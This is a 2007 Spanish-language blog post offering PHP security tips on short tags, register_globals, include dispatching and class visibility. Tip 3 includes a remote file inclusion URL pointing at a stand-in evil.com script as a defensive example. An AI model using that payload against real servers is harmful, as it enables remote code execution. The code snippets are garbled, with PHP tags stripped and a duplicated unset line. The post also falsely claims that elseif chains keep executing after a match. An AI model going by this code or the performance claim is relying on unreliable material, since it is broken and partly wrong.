17 abr. 2007

Buenas Notas en PHP

1) No uses shortags como:

4: $var = null; ?>
5:
6:= $name ?>
7:

8:
Mejor usa:
9:
10: $var = null; ?>
11:
12: echo $name; ?>
13:

De hecho lo menor es deshabilitar los shortags en php.ini

2) Muchos servicios de hostings aún tienen el Zend_Hash_Del_Key_Or_Index Vulnerability. Combátelo con:

18:

19:
// Zend_Hash_Del_Key_Or_Index Vulnerability - We don't use $_REQUEST, so kill it.
20:
if (@ini_get('register_globals')) {
21:
foreach ( $_REQUEST as $var => $null ) {
22: unset($$var);
23: unset($$var);
24: }
25:
}
26:
?>

Lo mejor es tener una página dispatcher (despachador) que llame a los archivos y asi focalize la seguridad.

3) Si ese es el caso nunca pongas el nombre del archivo que vas a llamar (include) en el url porque te pueden meter un gol con algo como:

http://server.org/index.php?includeHeader=http://www.evil.com/ya_te_abroche.php

Mejor haz un switch:

36:
37:
switch ( $_GET['tmpl'] ) {
38: case 1:
39: include("tmpl/secciones.tmpl.php");
40: break;
41: case 2:
42:
include("tmpl/discusiones.tmpl.php");
43:
break;
44: default:
45: include("tmpl/menu.tmpl.php");
46: break;
47: }
48:
?>
49:

Por cierto los switch son mejores que los elseif, sobre todo en un loop, porque los primeros se interrumpen al cumplirse la condición mientras los elseif continua ejecutándose y eso hace más lento a la página.

4) Si estas en PHP5 asegúrate de que sólo estás dandole la propiedad public a lo estrictamente necesario, mantén private y protected los atributos y métodos que no se salen de la clase. Muchos programadores ponen public a todo por comodidad de la misma manera que los administradores le ponen 777 al chmod por comodidad.

No hay comentarios.:

 
Too Cool for Internet Explorer